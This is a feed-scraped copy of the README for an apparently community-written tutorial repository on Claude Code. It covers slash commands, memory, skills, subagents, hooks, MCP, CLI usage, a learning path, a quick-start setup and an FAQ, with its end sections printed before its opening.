\u2014 Run long operations without blocking</li> \n  <li><strong>Permission Modes</strong> \u2014 <code>manual</code> (config value <code>default</code>), <code>acceptEdits</code>, <code>plan</code>, <code>auto</code>, <code>dontAsk</code>, <code>bypassPermissions</code></li> \n  <li><strong>Headless Mode</strong> \u2014 Run Claude Code in CI/CD: <code>claude -p \"Run tests and generate report\"</code></li> \n  <li><strong>Session Management</strong> \u2014 <code>/resume</code>, <code>/rename</code>, <code>/fork</code>, <code>/branch</code>, <code>claude -c</code>, <code>claude -r</code></li> \n  <li><strong>Configuration</strong> \u2014 Customize behavior in <code>~/.claude/settings.json</code></li> \n </ul> \n <p>See <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/09-advanced-features/config-examples.json\">config-examples.json</a> for complete configurations.</p> \n</details> \n<details> \n 10. CLI Reference \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/10-cli/\">10-cli/</a></p> \n <p><strong>What</strong>: Complete command-line interface reference for Claude Code</p> \n <p><strong>Quick Examples</strong>:</p> \n <pre><code class=\"language-bash\"># Interactive mode\nclaude \"explain this project\"\n\n# Print mode (non-interactive)\nclaude -p \"review this code\"\n\n# Process file content\ncat error.log | claude -p \"explain this error\"\n\n# JSON output for scripts\nclaude -p --output-format json \"list functions\"\n\n# Resume session\nclaude -r \"feature-auth\" \"continue implementation\"\n</code></pre> \n <p><strong>Use Cases</strong>: CI/CD pipeline integration, script automation, batch processing, multi-session workflows, custom agent configurations</p> \n</details> \n<details> \n Example Workflows \n <h3>Complete Code Review Workflow</h3> \n <pre><code class=\"language-markdown\"># Uses: Slash Commands + Subagents + Memory + MCP\n\nUser: /review-pr\n\nClaude:\n1. Loads project memory (coding standards)\n2. Fetches PR via GitHub MCP\n3. Delegates to code-reviewer subagent\n4. Delegates to test-engineer subagent\n5. Synthesizes findings\n6. Provides comprehensive review\n</code></pre> \n <h3>Automated Documentation</h3> \n <pre><code class=\"language-markdown\"># Uses: Skills + Subagents + Memory\n\nUser: \"Generate API documentation for the auth module\"\n\nClaude:\n1. Loads project memory (doc standards)\n2. Detects doc generation request\n3. Auto-invokes doc-generator skill\n4. Delegates to api-documenter subagent\n5. Creates comprehensive docs with examples\n</code></pre> \n <h3>DevOps Deployment</h3> \n <pre><code class=\"language-markdown\"># Uses: Plugins + MCP + Hooks\n\nUser: /deploy production\n\nClaude:\n1. Runs pre-deploy hook (validates environment)\n2. Delegates to deployment-specialist subagent\n3. Executes deployment via Kubernetes MCP\n4. Monitors progress\n5. Runs post-deploy hook (health checks)\n6. Reports status\n</code></pre> \n</details> \n<details> \n Directory Structure \n <pre><code>\u251c\u2500\u2500 01-slash-commands/\n\u2502   \u251c\u2500\u2500 optimize.md\n\u2502   \u251c\u2500\u2500 pr.md\n\u2502   \u251c\u2500\u2500 generate-api-docs.md\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 02-memory/\n\u2502   \u251c\u2500\u2500 project-CLAUDE.md\n\u2502   \u251c\u2500\u2500 directory-api-CLAUDE.md\n\u2502   \u251c\u2500\u2500 personal-CLAUDE.md\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 03-skills/\n\u2502   \u251c\u2500\u2500 code-review-specialist/\n\u2502   \u2502   \u251c\u2500\u2500 SKILL.md\n\u2502   \u2502   \u251c\u2500\u2500 scripts/\n\u2502   \u2502   \u2514\u2500\u2500 templates/\n\u2502   \u251c\u2500\u2500 brand-voice/\n\u2502   \u2502   \u251c\u2500\u2500 SKILL.md\n\u2502   \u2502   \u2514\u2500\u2500 templates/\n\u2502   \u251c\u2500\u2500 doc-generator/\n\u2502   \u2502   \u251c\u2500\u2500 SKILL.md\n\u2502   \u2502   \u2514\u2500\u2500 generate-docs.py\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 04-subagents/\n\u2502   \u251c\u2500\u2500 code-reviewer.md\n\u2502   \u251c\u2500\u2500 test-engineer.md\n\u2502   \u251c\u2500\u2500 documentation-writer.md\n\u2502   \u251c\u2500\u2500 secure-reviewer.md\n\u2502   \u251c\u2500\u2500 implementation-agent.md\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 05-mcp/\n\u2502   \u251c\u2500\u2500 github-mcp.json\n\u2502   \u251c\u2500\u2500 database-mcp.json\n\u2502   \u251c\u2500\u2500 filesystem-mcp.json\n\u2502   \u251c\u2500\u2500 multi-mcp.json\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 06-hooks/\n\u2502   \u251c\u2500\u2500 format-code.sh\n\u2502   \u251c\u2500\u2500 pre-commit.sh\n\u2502   \u251c\u2500\u2500 security-scan.sh\n\u2502   \u251c\u2500\u2500 log-bash.sh\n\u2502   \u251c\u2500\u2500 validate-prompt.sh\n\u2502   \u251c\u2500\u2500 notify-team.sh\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 07-plugins/\n\u2502   \u251c\u2500\u2500 pr-review/\n\u2502   \u251c\u2500\u2500 devops-automation/\n\u2502   \u251c\u2500\u2500 documentation/\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 08-checkpoints/\n\u2502   \u251c\u2500\u2500 checkpoint-examples.md\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 09-advanced-features/\n\u2502   \u251c\u2500\u2500 config-examples.json\n\u2502   \u251c\u2500\u2500 planning-mode-examples.md\n\u2502   \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 10-cli/\n\u2502   \u2514\u2500\u2500 README.md\n\u2514\u2500\u2500 README.md (this file)\n</code></pre> \n</details> \n<details> \n Best Practices \n <h3>Do's</h3> \n <ul> \n  <li>Start simple with slash commands</li> \n  <li>Add features incrementally</li> \n  <li>Use memory for team standards</li> \n  <li>Test configurations locally first</li> \n  <li>Document custom implementations</li> \n  <li>Version control project configurations</li> \n  <li>Share plugins with team</li> \n </ul> \n <h3>Don'ts</h3> \n <ul> \n  <li>Don't create redundant features</li> \n  <li>Don't hardcode credentials</li> \n  <li>Don't skip documentation</li> \n  <li>Don't over-complicate simple tasks</li> \n  <li>Don't ignore security best practices</li> \n  <li>Don't commit sensitive data</li> \n </ul> \n</details> \n<details> \n Troubleshooting \n <h3>Feature Not Loading</h3> \n <ol> \n  <li>Check file location and naming</li> \n  <li>Verify YAML frontmatter syntax</li> \n  <li>Check file permissions</li> \n  <li>Review Claude Code version compatibility</li> \n </ol> \n <h3>MCP Connection Failed</h3> \n <ol> \n  <li>Verify environment variables</li> \n  <li>Check MCP server installation</li> \n  <li>Test credentials</li> \n  <li>Review network connectivity</li> \n </ol> \n <h3>Subagent Not Delegating</h3> \n <ol> \n  <li>Check tool permissions</li> \n  <li>Verify agent description clarity</li> \n  <li>Review task complexity</li> \n  <li>Test agent independently</li> \n </ol> \n</details> \n<details> \n Testing \n <p>This project includes comprehensive automated testing:</p> \n <ul> \n  <li><strong>Unit Tests</strong>: Python tests using pytest (Python 3.10, 3.11, 3.12)</li> \n  <li><strong>Code Quality</strong>: Linting and formatting with Ruff</li> \n  <li><strong>Security</strong>: Vulnerability scanning with Bandit</li> \n  <li><strong>Type Checking</strong>: Static type analysis with mypy</li> \n  <li><strong>Build Verification</strong>: EPUB generation testing</li> \n  <li><strong>Coverage Tracking</strong>: Codecov integration</li> \n </ul> \n <pre><code class=\"language-bash\"># Install development dependencies\nuv pip install -r scripts/requirements-dev.txt\n\n# Run all unit tests\npytest scripts/tests/ -v\n\n# Run tests with coverage report\npytest scripts/tests/ -v --cov=scripts --cov-report=html\n\n# Run code quality checks\nruff check scripts/\nruff format --check scripts/\n\n# Run security scan\nbandit -c scripts/pyproject.toml -r scripts/ --exclude scripts/tests/\n\n# Run type checking\nmypy scripts/ --ignore-missing-imports\n</code></pre> \n <p>Tests run automatically on every push to <code>main</code>/<code>develop</code> and every PR to <code>main</code>. See <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/.github/TESTING.md\">TESTING.md</a> for detailed information.</p> \n</details> \n<details> \n EPUB Generation \n <p>Want to read this guide offline? Generate an EPUB ebook:</p> \n <pre><code class=\"language-bash\">uv run scripts/build_epub.py\n</code></pre> \n <p>This creates <code>claude-howto-guide.epub</code> with all content, including rendered Mermaid diagrams.</p> \n <p>See <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/scripts/README.md\">scripts/README.md</a> for more options.</p> \n</details> \n<details> \n Contributing \n <p>Found an issue or want to contribute an example? We'd love your help!</p> \n <p><strong>Please read <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/CONTRIBUTING.md\">CONTRIBUTING.md</a> for detailed guidelines on:</strong></p> \n <ul> \n  <li>Types of contributions (examples, docs, features, bugs, feedback)</li> \n  <li>How to set up your development environment</li> \n  <li>Directory structure and how to add content</li> \n  <li>Writing guidelines and best practices</li> \n  <li>Commit and PR process</li> \n </ul> \n <p><strong>Our Community Standards:</strong></p> \n <ul> \n  <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/CODE_OF_CONDUCT.md\">CODE_OF_CONDUCT.md</a> - How we treat each other</li> \n  <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/SECURITY.md\">SECURITY.md</a> - Security policy and vulnerability reporting</li> \n </ul> \n <h3>Reporting Security Issues</h3> \n <p>If you discover a security vulnerability, please report it responsibly:</p> \n <ol> \n  <li><strong>Use GitHub Private Vulnerability Reporting</strong>: <a href=\"https://github.com/luongnv89/claude-howto/security/advisories\">https://github.com/luongnv89/claude-howto/security/advisories</a></li> \n  <li><strong>Or read</strong> <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/.github/SECURITY_REPORTING.md\">.github/SECURITY_REPORTING.md</a> for detailed instructions</li> \n  <li><strong>Do NOT</strong> open a public issue for security vulnerabilities</li> \n </ol> \n <p>Quick start:</p> \n <ol> \n  <li>Fork and clone the repository</li> \n  <li>Create a descriptive branch (<code>add/feature-name</code>, <code>fix/bug</code>, <code>docs/improvement</code>)</li> \n  <li>Make your changes following the guidelines</li> \n  <li>Submit a pull request with a clear description</li> \n </ol> \n <p><strong>Need help?</strong> Open an issue or discussion, and we'll guide you through the process.</p> \n</details> \n<details> \n Additional Resources \n <ul> \n  <li><a href=\"https://code.claude.com/docs/en/overview\">Claude Code Documentation</a></li> \n  <li><a href=\"https://modelcontextprotocol.io\">MCP Protocol Specification</a></li> \n  <li><a href=\"https://github.com/luongnv89/skills\">Skills Repository</a> - Collection of ready-to-use skills</li> \n  <li><a href=\"https://github.com/anthropics/anthropic-cookbook\">Anthropic Cookbook</a></li> \n  <li><a href=\"https://x.com/bcherny/status/2007179832300581177\">Boris Cherny's Claude Code Workflow</a> - The creator of Claude Code shares his systematized workflow: parallel agents, shared <a href=\"http://CLAUDE.md\">CLAUDE.md</a>, Plan mode, slash commands, subagents, and verification hooks for autonomous long-running sessions.</li> \n </ul> \n</details> \n<hr /> \n<h2>Contributing</h2> \n<p>We welcome contributions! Please see our <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/CONTRIBUTING.md\">Contributing Guide</a> for details on how to get started.</p> \n<hr /> \n<h2>License</h2> \n<p>MIT License - see <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/LICENSE\">LICENSE</a>. Free to use, modify, and distribute. The only requirement is including the license notice.</p> \n<hr /> \n<p><strong>Last Updated</strong>: October 18, 2026 <strong>Claude Code Version</strong>: 2.1.302 <strong>Sources</strong>:</p> \n<ul> \n <li><a href=\"https://code.claude.com/docs/en/tools-reference#task-tool-availability\">https://code.claude.com/docs/en/tools-reference#task-tool-availability</a></li> \n <li><a href=\"https://code.claude.com/docs/en/hooks\">https://code.claude.com/docs/en/hooks</a></li> \n <li><a href=\"https://code.claude.com/docs/en/overview\">https://code.claude.com/docs/en/overview</a></li> \n <li><a href=\"https://code.claude.com/docs/en/changelog\">https://code.claude.com/docs/en/changelog</a></li> \n <li><a href=\"https://code.claude.com/docs/en/permission-modes\">https://code.claude.com/docs/en/permission-modes</a></li> \n <li><a href=\"https://platform.claude.com/docs/en/about-claude/models/overview\">https://platform.claude.com/docs/en/about-claude/models/overview</a></li> \n <li><a href=\"https://github.com/anthropics/claude-code/releases\">https://github.com/anthropics/claude-code/releases</a></li> \n <li><a href=\"https://github.com/anthropics/claude-code/releases/tag/v2.1.154\">https://github.com/anthropics/claude-code/releases/tag/v2.1.154</a></li> \n <li><a href=\"https://code.claude.com/docs/en/model-config\">https://code.claude.com/docs/en/model-config</a></li> \n <li><a href=\"https://github.com/anthropics/claude-code/raw/main/CHANGELOG.md\">https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md</a></li> \n <li><a href=\"https://github.com/anthropics/claude-code/releases/tag/v2.1.296\">https://github.com/anthropics/claude-code/releases/tag/v2.1.296</a></li> \n <li><a href=\"https://code.claude.com/docs/en/setup\">https://code.claude.com/docs/en/setup</a></li> \n <li><a href=\"https://code.claude.com/docs/en/mcp\">https://code.claude.com/docs/en/mcp</a></li> \n <li><a href=\"https://code.claude.com/docs/en/plugins/install\">https://code.claude.com/docs/en/plugins/install</a></li> \n <li><a href=\"https://code.claude.com/docs/en/checkpointing\">https://code.claude.com/docs/en/checkpointing</a></li> \n <li><a href=\"https://github.com/anthropics/claude-code\">https://github.com/anthropics/claude-code</a></li> \n <li><a href=\"https://code.claude.com/docs/en/changelog#2-1-302\">https://code.claude.com/docs/en/changelog#2-1-302</a> <strong>Compatible Models</strong>: Claude Fable 5.1, Claude Fable 5, Claude Opus 5, Claude Sonnet 5, Claude Sonnet 4.6, Claude Opus 4.8, Claude Haiku 4.5</li> \n</ul>", "summary": "<p>A visual, example-driven guide to Claude Code \u2014 from basic concepts to advanced agents, with copy-paste templates that bring immediate value.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"http://luongnv.com/claude-howto/\">http://luongnv.com/claude-howto/</a></p><hr /> \n <source media=\"(prefers-color-scheme: dark)\" /> \n <img alt=\"Claude How To\" src=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/resources/logos/claude-howto-logo.svg?sanitize=true\" /> \n \n<p align=\"center\"> <a href=\"https://github.com/trending\"> <img src=\"https://img.shields.io/badge/GitHub-%F0%9F%94%A5%2520%25231%2520Trending-purple?style=for-the-badge&amp;logo=github\" /> </a> </p> \n<p><a href=\"https://github.com/luongnv89/claude-howto/stargazers\"><img alt=\"GitHub Stars\" src=\"https://img.shields.io/github/stars/luongnv89/claude-howto?style=flat&amp;color=gold\" /></a> <a href=\"https://github.com/luongnv89/claude-howto/network/members\"><img alt=\"GitHub Forks\" src=\"https://img.shields.io/github/forks/luongnv89/claude-howto?style=flat\" /></a> <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/LICENSE\"><img alt=\"License: MIT\" src=\"https://img.shields.io/badge/License-MIT-blue.svg?sanitize=true\" /></a> <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/CHANGELOG.md\"><img alt=\"Version\" src=\"https://img.shields.io/badge/version-2.1.302-brightgreen\" /></a> <a href=\"https://code.claude.com\"><img alt=\"Claude Code\" src=\"https://img.shields.io/badge/Claude_Code-2.1+-purple\" /></a></p> \n<p>\ud83c\udf10 <strong>Language / Ng\u00f4n ng\u1eef / \u8bed\u8a00 / \u041c\u043e\u0432\u0430:</strong> <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/README.md\">English</a> | <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/vi/README.md\">Ti\u1ebfng Vi\u1ec7t</a> | <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/zh/README.md\">\u4e2d\u6587</a> | <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/uk/README.md\">\u0423\u043a\u0440\u0430\u0457\u043d\u0441\u044c\u043a\u0430</a> | <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/ja/README.md\">\u65e5\u672c\u8a9e</a></p> \n<h1>Master Claude Code in a Weekend</h1> \n<p>Go from typing <code>claude</code> to orchestrating agents, hooks, skills, and MCP servers \u2014 with visual tutorials, copy-paste templates, and a guided learning path.</p> \n<p><strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#get-started-in-15-minutes\">Get Started in 15 Minutes</a></strong> | <strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#not-sure-where-to-start\">Find Your Level</a></strong> | <strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/CATALOG.md\">Browse the Feature Catalog</a></strong></p> \n<hr /> \n<h2>Table of Contents</h2> \n<ul> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#the-problem\">The Problem</a></li> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#how-claude-how-to-fixes-this\">How Claude How To Fixes This</a></li> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#how-it-works\">How It Works</a></li> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#not-sure-where-to-start\">Not Sure Where to Start?</a></li> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#get-started-in-15-minutes\">Get Started in 15 Minutes</a></li> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#what-can-you-build-with-this\">What Can You Build With This?</a></li> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#faq\">FAQ</a></li> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#contributing\">Contributing</a></li> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#license\">License</a></li> \n</ul> \n<hr /> \n<h2>The Problem</h2> \n<p>You installed Claude Code. You ran a few prompts. Now what?</p> \n<ul> \n <li><strong>The official docs describe features \u2014 but don't show you how to combine them.</strong> You know slash commands exist, but not how to chain them with hooks, memory, and subagents into a workflow that actually saves hours.</li> \n <li><strong>There's no clear learning path.</strong> Should you learn MCP before hooks? Skills before subagents? You end up skimming everything and mastering nothing.</li> \n <li><strong>Examples are too basic.</strong> A \"hello world\" slash command doesn't help you build a production code review pipeline that uses memory, delegates to specialized agents, and runs security scans automatically.</li> \n</ul> \n<p>You're leaving 90% of Claude Code's power on the table \u2014 and you don't know what you don't know.</p> \n<hr /> \n<h2>How Claude How To Fixes This</h2> \n<p>This isn't another feature reference. It's a <strong>structured, visual, example-driven guide</strong> that teaches you to use every Claude Code feature with real-world templates you can copy into your project today.</p> \n<table> \n <thead> \n  <tr> \n   <th></th> \n   <th>Official Docs</th> \n   <th>This Guide</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><strong>Format</strong></td> \n   <td>Reference documentation</td> \n   <td>Visual tutorials with Mermaid diagrams</td> \n  </tr> \n  <tr> \n   <td><strong>Depth</strong></td> \n   <td>Feature descriptions</td> \n   <td>How it works under the hood</td> \n  </tr> \n  <tr> \n   <td><strong>Examples</strong></td> \n   <td>Basic snippets</td> \n   <td>Production-ready templates you use immediately</td> \n  </tr> \n  <tr> \n   <td><strong>Structure</strong></td> \n   <td>Feature-organized</td> \n   <td>Progressive learning path (beginner to advanced)</td> \n  </tr> \n  <tr> \n   <td><strong>Onboarding</strong></td> \n   <td>Self-directed</td> \n   <td>Guided roadmap with time estimates</td> \n  </tr> \n  <tr> \n   <td><strong>Self-Assessment</strong></td> \n   <td>None</td> \n   <td>Interactive quizzes to find your gaps and build a personalized path</td> \n  </tr> \n </tbody> \n</table> \n<h3>What you get:</h3> \n<ul> \n <li><strong>10 tutorial modules</strong> covering every Claude Code feature \u2014 from slash commands to custom agent teams</li> \n <li><strong>Copy-paste configs</strong> \u2014 slash commands, <a href=\"http://CLAUDE.md\">CLAUDE.md</a> templates, hook scripts, MCP configs, subagent definitions, and full plugin bundles</li> \n <li><strong>Mermaid diagrams</strong> showing how each feature works internally, so you understand <em>why</em>, not just <em>how</em></li> \n <li><strong>A guided learning path</strong> that takes you from beginner to power user in 11-13 hours</li> \n <li><strong>Built-in self-assessment</strong> \u2014 run <code>/self-assessment</code> or <code>/lesson-quiz hooks</code> directly in Claude Code to identify gaps</li> \n</ul> \n<p><strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/LEARNING-ROADMAP.md\">Start the Learning Path -&gt;</a></strong></p> \n<hr /> \n<h2>How It Works</h2> \n<h3>1. Find your level</h3> \n<p>Take the <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/LEARNING-ROADMAP.md#-find-your-level\">self-assessment quiz</a> or run <code>/self-assessment</code> in Claude Code. Get a personalized roadmap based on what you already know.</p> \n<h3>2. Follow the guided path</h3> \n<p>Work through 10 modules in order \u2014 each builds on the last. Copy templates directly into your project as you learn.</p> \n<h3>3. Combine features into workflows</h3> \n<p>The real power is in combining features. Learn to wire slash commands + memory + subagents + hooks into automated pipelines that handle code reviews, deployments, and documentation generation.</p> \n<h3>4. Test your understanding</h3> \n<p>Run <code>/lesson-quiz [topic]</code> after each module. The quiz pinpoints what you missed so you can fill gaps fast.</p> \n<p><strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#get-started-in-15-minutes\">Get Started in 15 Minutes</a></strong></p> \n<hr /> \n<h2>Trusted by Developers</h2> \n<ul> \n <li><strong>GitHub stars</strong> from developers who use Claude Code daily</li> \n <li><strong>Forks</strong> from teams adapting this guide for their own workflows</li> \n <li><strong>Actively maintained</strong> \u2014 synced with every Claude Code release (latest: v2.1.302, October 2026)</li> \n <li><strong>Community-driven</strong> \u2014 contributions from developers who share their real-world configurations</li> \n</ul> \n<p><a href=\"https://star-history.com/#luongnv89/claude-howto&amp;Date\"><img alt=\"Star History Chart\" src=\"https://api.star-history.com/svg?repos=luongnv89/claude-howto&amp;type=Date\" /></a></p> \n<hr /> \n<h2>Not Sure Where to Start?</h2> \n<p>Take the self-assessment or pick your level:</p> \n<table> \n <thead> \n  <tr> \n   <th>Level</th> \n   <th>You can...</th> \n   <th>Start here</th> \n   <th>Time</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><strong>Beginner</strong></td> \n   <td>Start Claude Code and chat</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/01-slash-commands/\">Slash Commands</a></td> \n   <td>~2.5 hours</td> \n  </tr> \n  <tr> \n   <td><strong>Intermediate</strong></td> \n   <td>Use <a href=\"http://CLAUDE.md\">CLAUDE.md</a> and custom commands</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/03-skills/\">Skills</a></td> \n   <td>~3.5 hours</td> \n  </tr> \n  <tr> \n   <td><strong>Advanced</strong></td> \n   <td>Configure MCP servers and hooks</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/09-advanced-features/\">Advanced Features</a></td> \n   <td>~5 hours</td> \n  </tr> \n </tbody> \n</table> \n<p><strong>Full learning path with all 10 modules:</strong></p> \n<table> \n <thead> \n  <tr> \n   <th>Order</th> \n   <th>Module</th> \n   <th>Level</th> \n   <th>Time</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>1</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/01-slash-commands/\">Slash Commands</a></td> \n   <td>Beginner</td> \n   <td>30 min</td> \n  </tr> \n  <tr> \n   <td>2</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/02-memory/\">Memory</a></td> \n   <td>Beginner+</td> \n   <td>45 min</td> \n  </tr> \n  <tr> \n   <td>3</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/08-checkpoints/\">Checkpoints</a></td> \n   <td>Intermediate</td> \n   <td>45 min</td> \n  </tr> \n  <tr> \n   <td>4</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/10-cli/\">CLI Basics</a></td> \n   <td>Beginner+</td> \n   <td>30 min</td> \n  </tr> \n  <tr> \n   <td>5</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/03-skills/\">Skills</a></td> \n   <td>Intermediate</td> \n   <td>1 hour</td> \n  </tr> \n  <tr> \n   <td>6</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/06-hooks/\">Hooks</a></td> \n   <td>Intermediate</td> \n   <td>1 hour</td> \n  </tr> \n  <tr> \n   <td>7</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/05-mcp/\">MCP</a></td> \n   <td>Intermediate+</td> \n   <td>1 hour</td> \n  </tr> \n  <tr> \n   <td>8</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/04-subagents/\">Subagents</a></td> \n   <td>Intermediate+</td> \n   <td>1.5 hours</td> \n  </tr> \n  <tr> \n   <td>9</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/09-advanced-features/\">Advanced Features</a></td> \n   <td>Advanced</td> \n   <td>2-3 hours</td> \n  </tr> \n  <tr> \n   <td>10</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/07-plugins/\">Plugins</a></td> \n   <td>Advanced</td> \n   <td>2 hours</td> \n  </tr> \n </tbody> \n</table> \n<p><strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/LEARNING-ROADMAP.md\">Complete Learning Roadmap -&gt;</a></strong></p> \n<hr /> \n<h2>Get Started in 15 Minutes</h2> \n<blockquote> \n <p><strong>Installation note</strong>: Starting in v2.1.113, Claude Code ships as a native per-platform binary (macOS/Linux/Windows). The recommended install is the native installer (<code>curl -fsSL https://claude.ai/install.sh | bash</code>); npm installation is deprecated in the official README; prefer the native installer, Homebrew (<code>brew install --cask claude-code</code>) or WinGet (<code>winget install Anthropic.ClaudeCode</code>). For reference, <code>npm install -g @anthropic-ai/claude-code</code> pulls the same native binary through a per-platform optional dependency at install time. As of v2.1.116, downloads come from <code>https://downloads.claude.ai/claude-code-releases</code> \u2014 corporate proxies must allowlist this host.</p> \n</blockquote> \n<pre><code class=\"language-bash\"># 1. Clone the guide\ngit clone https://github.com/luongnv89/claude-howto.git\ncd claude-howto\n\n# 2. Copy your first slash command\nmkdir -p /path/to/your-project/.claude/commands\ncp 01-slash-commands/optimize.md /path/to/your-project/.claude/commands/\n\n# 3. Try it \u2014 in Claude Code, type:\n# /optimize\n\n# 4. Ready for more? Set up project memory:\ncp 02-memory/project-CLAUDE.md /path/to/your-project/CLAUDE.md\n\n# 5. Install a skill:\ncp -r 03-skills/code-review-specialist ~/.claude/skills/\n</code></pre> \n<p>Want the full setup? Here's the <strong>1-hour essential setup</strong>:</p> \n<pre><code class=\"language-bash\"># Slash commands (15 min)\ncp 01-slash-commands/*.md .claude/commands/\n\n# Project memory (15 min)\ncp 02-memory/project-CLAUDE.md ./CLAUDE.md\n\n# Install a skill (15 min)\ncp -r 03-skills/code-review-specialist ~/.claude/skills/\n\n# Weekend goal: add hooks, subagents, MCP, and plugins\n# Follow the learning path for guided setup\n</code></pre> \n<p><strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#get-started-in-15-minutes\">View the Full Installation Reference</a></strong></p> \n<hr /> \n<h2>What Can You Build With This?</h2> \n<table> \n <thead> \n  <tr> \n   <th>Use Case</th> \n   <th>Features You'll Combine</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><strong>Automated Code Review</strong></td> \n   <td>Slash Commands + Subagents + Memory + MCP</td> \n  </tr> \n  <tr> \n   <td><strong>Team Onboarding</strong></td> \n   <td>Memory + Slash Commands + Plugins</td> \n  </tr> \n  <tr> \n   <td><strong>CI/CD Automation</strong></td> \n   <td>CLI Reference + Hooks + Background Tasks</td> \n  </tr> \n  <tr> \n   <td><strong>Documentation Generation</strong></td> \n   <td>Skills + Subagents + Plugins</td> \n  </tr> \n  <tr> \n   <td><strong>Security Audits</strong></td> \n   <td>Subagents + Skills + Hooks (read-only mode)</td> \n  </tr> \n  <tr> \n   <td><strong>DevOps Pipelines</strong></td> \n   <td>Plugins + MCP + Hooks + Background Tasks</td> \n  </tr> \n  <tr> \n   <td><strong>Complex Refactoring</strong></td> \n   <td>Checkpoints + Planning Mode + Hooks</td> \n  </tr> \n </tbody> \n</table> \n<hr /> \n<h2>FAQ</h2> \n<p><strong>Is this free?</strong> Yes. MIT licensed, free forever. Use it in personal projects, at work, in your team \u2014 no restrictions beyond including the license notice.</p> \n<p><strong>Is this maintained?</strong> Actively. The guide is synced with every Claude Code release. Current version: v2.1.302 (October 2026), compatible with Claude Code 2.1+.</p> \n<p><strong>How is this different from the official docs?</strong> The official docs are a feature reference. This guide is a tutorial with diagrams, production-ready templates, and a progressive learning path. They complement each other \u2014 start here to learn, reference the docs when you need specifics.</p> \n<p><strong>How long does it take to go through everything?</strong> 11-13 hours for the full path. But you'll get immediate value in 15 minutes \u2014 just copy a slash command template and try it.</p> \n<p><strong>Can I use this with Claude Sonnet / Haiku / Opus?</strong> Yes. All templates work with Claude Fable 5.1, Claude Fable 5, Claude Opus 5.5, Claude Opus 5, Claude Sonnet 5.5, Claude Sonnet 5, Claude Sonnet 4.6, Claude Opus 4.8, Claude Haiku 5.5, and Claude Haiku 4.5.</p> \n<p><strong>Can I contribute?</strong> Absolutely. See <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/CONTRIBUTING.md\">CONTRIBUTING.md</a> for guidelines. We welcome new examples, bug fixes, documentation improvements, and community templates.</p> 